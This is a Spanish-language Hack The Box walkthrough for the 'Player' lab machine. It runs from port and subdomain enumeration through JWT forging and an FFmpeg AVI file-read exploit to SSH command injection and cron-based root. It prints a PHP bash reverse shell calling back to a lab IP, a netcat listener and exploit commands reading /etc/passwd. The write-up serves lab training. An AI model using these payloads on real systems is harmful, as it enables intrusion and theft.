Hack The Box - Tutorial del jugador. FFmpeg exploit, JWT y varios listados web

imagen

Sigo publicando soluciones enviadas para su posterior procesamiento desde el sitio HackTheBox . Espero que esto ayude al menos a alguien a desarrollarse en el campo de la seguridad de la información. En este artículo, revisaremos el JWT, realizaremos enumeraciones web como la búsqueda de directorios, subdominios y archivos de respaldo, explotaremos SSRF en el codificador FFmpeg y RCE en SSH.

La conexión al laboratorio es a través de VPN. Se recomienda no conectarse desde una computadora de trabajo o desde un host donde los datos importantes para usted estén disponibles, ya que termina en una red privada con personas que saben algo en el campo de la seguridad de la información :)

Información organizacional
Especialmente para aquellos que desean aprender algo nuevo y desarrollarse en cualquiera de las áreas de información y seguridad informática, escribiré y hablaré sobre las siguientes categorías:

  • PWN;
  • criptografía (criptografía);
  • tecnologías de red (Red);
  • inversa (ingeniería inversa);
  • esteganografía (Stegano);
  • búsqueda y explotación de vulnerabilidades WEB.

Además de esto, compartiré mi experiencia en informática forense, análisis de malware y firmware, ataques a redes inalámbricas y redes de área local, realización de pentests y escritura de exploits.

Para que pueda conocer nuevos artículos, software y otra información, creé un canal en Telegram y un grupo para discutir cualquier problema en el campo de ICD. Además, consideraré personalmente sus solicitudes personales, preguntas, sugerencias y recomendaciones personalmente y responderé a todos .

Toda la información se proporciona solo con fines educativos. El autor de este documento no tiene ninguna responsabilidad por los daños causados ​​a alguien como resultado del uso del conocimiento y los métodos obtenidos como resultado de estudiar este documento.

Inteligencia


Escaneo de puertos


Esta máquina tiene una dirección IP de 10.10.10.145, que agrego a / etc / hosts.

10.10.10.145 player.htb 

Primero, escaneamos puertos abiertos. Como lleva mucho tiempo escanear todos los puertos con nmap, primero haré esto con masscan. Escaneamos todos los puertos TCP y UDP desde la interfaz tun0 a una velocidad de 1000 paquetes por segundo.

 masscan -e tun0 -p1-65535,U:1-65535 10.10.10.145 --rate=1000 

imagen

A continuación, debe recopilar más información sobre los puertos conocidos. Para hacer esto, use nmap con la opción -A.

 nmap -A player.htb -p22,80,6686 

imagen

Por lo tanto, el host ejecuta SSH en los puertos 22 y 6686, así como el servidor web Apache en 80.

Enumeraciones web


En primer lugar, ve a ver la web. Pero, por desgracia, no hay nada interesante.

imagen

En este caso, generalmente necesita escanear los directorios. Para hacer esto, use un gobuster rápido. Especifique en los parámetros que queremos escanear directorios (dir), especifique el sitio (-u), una lista de palabras (-w), extensiones que nos interesan (-x), el número de hilos (-t).

 gobuster dir -t 128 -u http://player.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php 

De estos directorios, un lanzador interesante. Dice que este es un servicio de edición de video y necesitamos un correo electrónico válido.

imagen

Después de jugar un poco con el formulario, noté que envía datos a la página /launcher/dee8dc8a47256c64630d803a4c40786c.php, allí comprueba y vuelve a dirigir.

imagen

De todo lo que tenemos, nada y nada nos dará. El siguiente paso en la lista es la búsqueda de subdominios. Recientemente, después de que me aconsejaron usar wfuzz, lo uso y aconsejo lo mismo a los demás. Especifique el encabezado (-H), el diccionario (-w), la URL (-u) y excluya el código de respuesta 403 (--hc 403).

 wfuzz -H 'HOST:FUZZ.player.htb' -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u player.htb --hc 403 

imagen

Por lo tanto, encontramos tres subdominios que también deben agregarse a / etc / hosts.

 10.10.10.145 dev.player.htb 10.10.10.145 staging.player.htb 10.10.10.145 chat.player.htb 

En el desarrollo, solo hay un formulario de autorización, en el chat solo chat inútil y en la preparación de un formulario para algunos contactos.

imagen

imagen

imagen

Después de probar un poco el formulario, todo lo que tenemos es una redirección a 501.php y algunos datos con el error indicado.

imagen

imagen

imagen

Pero, de nuevo, esto no fue suficiente. Además, lo que generalmente olvido, decidí verificar las copias de seguridad de los archivos. Entonces se descubrió /launcher/dee8dc8a47256c64630d803a4c40786c.php~

imagen

En este código, el JWT (token) se decodifica y verifica. Dependiendo de la verificación, se produce una redirección a una de las páginas. Si no se proporciona el token, se nos asigna.

Como conocemos la clave y el valor final, podemos codificarlo y obtener un token válido. Esto se puede hacer usando este sitio .

imagen

Obtenemos una ficha codificada. Y sustitúyalo en la solicitud.

imagen

imagen

Como resultado, se nos presentó un formulario de carga de archivos multimedia. Después de descargar la imagen, se nos ofreció descargar el archivo multimedia en formato AVI.

imagen

Punto de entrada


Como AVI se crea a partir de nuestro archivo, podemos utilizar un exploit que le permite leer archivos. El código se puede tomar aquí . Veamos esto y veamos el archivo / etc / passwd.

imagen

Veamos esto y veamos el archivo / etc / passwd.

 python3 gen_avi.py file:///etc/passwd passwd.avi 

Después de descargar y abrir el archivo, observamos el archivo / etc / passwd.

imagen

Como podemos leer archivos, necesitamos recopilar una lista de aquellos que conocemos. Recordamos errores en el archivo contact.php. Leamos todos los archivos enumerados allí.

imagen

Y no había nada interesante en el archivo de contacto, la solución no se podía leer, pero en service_config encontramos el nombre de usuario y la contraseña.

imagen

Intentemos iniciar sesión en dev.player.htb con ellos: los datos no se ajustan, pero hay dos SSH más. El puerto 22 es un fracaso, pero en 6686 obtenemos un shell.

imagen

Usuario


Pero el shell es limitado, y recordé la versión 7.2 y decidí verificar los exploits.

imagen

Por lo tanto, si tenemos credenciales, podemos ejecutar la inyección de comandos.

imagen

imagen

También nos proporcionan una lista de comandos para leer y escribir archivos. Leemos la bandera del usuario.

imagen

RAÍZ


Ahora deberíamos tener suficientes derechos para leer fix.php

imagen

Encontramos datos interesantes que ya caben en dev.player.htb. Y allí encontramos el proyecto.

imagen

Y se puede acceder a este archivo al acceder desde el entorno externo. Es decir, podemos colocar el caparazón.

imagen

Para hacer esto, abra su proyecto.

imagen

A continuación, cree un archivo con el siguiente shell.

 <?php exec("/bin/bash -c 'bash -i >& /dev/tcp/10.10.14.161/4321 0>&1'"); ?> 

imagen

Ahora abra la sesión usando netcat.

 nc -lvp 4321 

A continuación, pasamos a nuestro archivo.

imagen

imagen

Después de completar las enumeraciones y verificar algunas opciones más, nos detenemos en los procesos de verificación. Gracias a pspy64, puede determinar que el script buff.php se ejecuta de vez en cuando con un UID de 0, es decir. como raíz

imagen

Veamos qué hace el guión.

imagen

Cuando intentamos agregar código a este archivo, nos encontramos con un problema: no tenemos derechos.

imagen

Pero en el script, se incluye otro archivo, en el que tenemos derecho a escribir.

imagen

Escribiremos el shell que ya usamos en este archivo, y en netcat estamos esperando la conexión.

imagen

De esta manera obtenemos los máximos privilegios.

Puedes unirte a nosotros en Telegram . Formemos una comunidad en la que haya personas con conocimientos en muchas áreas de TI, para que siempre podamos ayudarnos mutuamente en cualquier problema de seguridad de la información y TI.

Source: https://habr.com/ru/post/484568/


All Articles